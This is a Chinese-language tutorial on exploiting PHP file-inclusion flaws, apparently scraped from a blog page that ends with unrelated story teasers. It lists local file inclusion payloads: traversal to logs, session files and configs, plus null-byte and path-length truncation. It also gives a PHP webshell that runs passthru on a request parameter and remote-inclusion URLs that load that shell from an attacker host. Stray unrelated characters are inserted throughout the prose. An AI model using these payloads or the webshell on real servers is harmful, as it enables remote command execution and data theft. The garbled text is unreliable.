php文件包含

原因:
程序員寫程序的時(shí)候罪针,不喜歡干同樣的事情属瓣,也不喜歡把同樣的代碼(比如一些公用的函數(shù))寫幾次扯躺,于是就把需要公用的代碼寫在一個(gè)單獨(dú)的文件里面,比 如 share.php藕畔,而后在其它文件進(jìn)行包含調(diào)用马僻。服務(wù)器通過某些php函數(shù)去包含任意文件時(shí),由于要包含的這個(gè)文件來源不明注服,可能是一個(gè)惡意的文件韭邓,從而造成攻擊措近。

涉及到的函數(shù):
include()
使用此函數(shù),只有代碼執(zhí)行到此函數(shù)時(shí)才將文件包含進(jìn)來女淑,發(fā)生錯(cuò)誤時(shí)只警告并繼續(xù)執(zhí)行整個(gè)php文件瞭郑。
Include_once()
這個(gè)函數(shù)跟include函數(shù)作用幾乎相同,只是他在導(dǎo)入函數(shù)之前先檢測下該文件是否被導(dǎo)入鸭你。如果已經(jīng)執(zhí)行一遍那么就不重復(fù)執(zhí)行了凰浮。
require()
使用此函數(shù),只要程序執(zhí)行苇本,立即調(diào)用此函數(shù)包含文件袜茧,發(fā)生錯(cuò)誤時(shí),會輸出錯(cuò)誤信息并立即終止程序瓣窄。
require_once()
功能和前者一樣笛厦,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時(shí),程序只調(diào)用一次俺夕。

如何利用:
1.本地文件包含漏洞
(1)普通的本地文件包含
<?php include(“includes/” . $_GET['file']); ?>
當(dāng)網(wǎng)站對參數(shù)沒有進(jìn)行任何過濾時(shí)裳凸,我們可以包含一個(gè)不存在的文件就會爆出當(dāng)前的絕對路徑。

  • 包含同路徑下的文件:
    ?file=.htaccess
  • 路徑遍歷:
    ?file=../../../../../../../../../var/lib/locate.db
    (該文件非常有趣因?yàn)樗试S你搜索文件系統(tǒng))
  • 包含注入PHP代碼的文件:
    ?file=../../../../../../../../../var/log/apache/error.log
  • 包含同目錄下的文件:
    ?file=.htaccess
  • 目錄遍歷
    ?file=../…/../var/lib/flag.txt
  • 包含錯(cuò)誤的日志
    ?file=../../../var/log/access.log
  • 常見的一些路徑
    /var/log/apache/access_log
    /var/www/logs/access_log
    /var/log/asscess_log
  • 獲取web目錄或者其他的配置文件
    ?file=../../../httpd.conf
  • 包含上傳的附件
    ?file=../../../xx.file
  • 讀取session文件
    /file=../../../tmp/sess_tnrdo

(2)有限制的本地包含
<?php include(“inc/” . $GET[‘file’] . “.htm”); ?>

  • %00截?cái)啵?br> ?file=../../../etc/pwd%00
  • %00截?cái)嗄夸洷闅v
    ?../../../../www/%00
  • 路徑長度截?cái)啵?br> 劝贸?file=../../../etc/pwd/././.[…]/././.
  • 點(diǎn)號截?cái)啵?br> ?file=../../../boot.ini/….[…]………

2.遠(yuǎn)程文件包含
如果目標(biāo)主機(jī)的”allow_url_fopen”是激活的(默認(rèn)是激活的)姨谷,allow_url_include是激活的(默認(rèn)關(guān)閉),被包含的遍歷前沒有目錄的限制映九。
我們可以指定其它 URL上的一個(gè)包含PHP代碼的webshell來直接運(yùn)行梦湘,比如,我先寫一段運(yùn)行命令的PHP代碼件甥,如下保存為cmd.txt捌议。

<?php
if (get_magic_quotes_gpc()){
$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //去掉轉(zhuǎn)義字符(可去掉字符串中的反斜線字符)
ini_set(“max_execution_time”,0); //設(shè)定針對這個(gè)文件的執(zhí)行時(shí)間,0為不限制.
echo ”M4R10開始行”;       //打印的返回的開始行提示信息
passthru($_REQUEST["cmd"]);   //運(yùn)行cmd指定的命令
echo ”M4R10結(jié)束行”;       //打印的返回的結(jié)束行提示信息
?>

把這個(gè)文件 保存到我們主機(jī)的服務(wù)器上(可以是不支持PHP的主機(jī))引有,只要能通過HTTP訪問到就可以了瓣颅。
構(gòu)造參數(shù)page=http://www.xxx.cn/cmd.txt?cmd=ls,其中cmd后面的就是你需要執(zhí)行的命令譬正。

有限制的遠(yuǎn)程文件包含
<?php include($_GET[‘FILE’] . “.htm”); ?>
?file=http://www.baidu.com/shell
?file=http://www.baidu.com/shell.txt?
?file=http://www.baidu.com/shell.txt%23
?file=\evilshare\shell.php

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末宫补,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子曾我,更是在濱河造成了極大的恐慌粉怕,老刑警劉巖,帶你破解...
    沈念sama閱讀 211,884評論 6 492
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件您单,死亡現(xiàn)場離奇詭異斋荞,居然都是意外死亡荞雏,警方通過查閱死者的電腦和手機(jī)虐秦,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,347評論 3 385
  • 文/潘曉璐 我一進(jìn)店門平酿,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人悦陋,你說我怎么就攤上這事蜈彼。” “怎么了俺驶?”我有些...
    開封第一講書人閱讀 157,435評論 0 348
  • 文/不壞的土叔 我叫張陵幸逆,是天一觀的道長。 經(jīng)常有香客問我暮现,道長还绘,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 56,509評論 1 284
  • 正文 為了忘掉前任栖袋,我火速辦了婚禮拍顷,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘塘幅。我一直安慰自己昔案,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,611評論 6 386
  • 文/花漫 我一把揭開白布电媳。 她就那樣靜靜地躺著踏揣,像睡著了一般。 火紅的嫁衣襯著肌膚如雪匾乓。 梳的紋絲不亂的頭發(fā)上捞稿,一...
    開封第一講書人閱讀 49,837評論 1 290
  • 那天,我揣著相機(jī)與錄音拼缝,去河邊找鬼括享。 笑死,一個(gè)胖子當(dāng)著我的面吹牛珍促,可吹牛的內(nèi)容都是我干的铃辖。 我是一名探鬼主播,決...
    沈念sama閱讀 38,987評論 3 408
  • 文/蒼蘭香墨 我猛地睜開眼猪叙,長吁一口氣:“原來是場噩夢啊……” “哼娇斩!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起穴翩,我...
    開封第一講書人閱讀 37,730評論 0 267
  • 序言:老撾萬榮一對情侶失蹤犬第,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后芒帕,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體歉嗓,經(jīng)...
    沈念sama閱讀 44,194評論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,525評論 2 327
  • 正文 我和宋清朗相戀三年背蟆,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了鉴分。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片哮幢。...
    茶點(diǎn)故事閱讀 38,664評論 1 340
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖志珍,靈堂內(nèi)的尸體忽然破棺而出橙垢,到底是詐尸還是另有隱情,我是刑警寧澤伦糯,帶...
    沈念sama閱讀 34,334評論 4 330
  • 正文 年R本政府宣布柜某,位于F島的核電站,受9級特大地震影響敛纲,放射性物質(zhì)發(fā)生泄漏喂击。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,944評論 3 313
  • 文/蒙蒙 一淤翔、第九天 我趴在偏房一處隱蔽的房頂上張望惭等。 院中可真熱鬧,春花似錦办铡、人聲如沸辞做。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,764評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽秤茅。三九已至,卻和暖如春童叠,著一層夾襖步出監(jiān)牢的瞬間框喳,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,997評論 1 266
  • 我被黑心中介騙來泰國打工厦坛, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留五垮,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 46,389評論 2 360
  • 正文 我出身青樓杜秸,卻偏偏與公主長得像放仗,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個(gè)殘疾皇子撬碟,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,554評論 2 349

推薦閱讀更多精彩內(nèi)容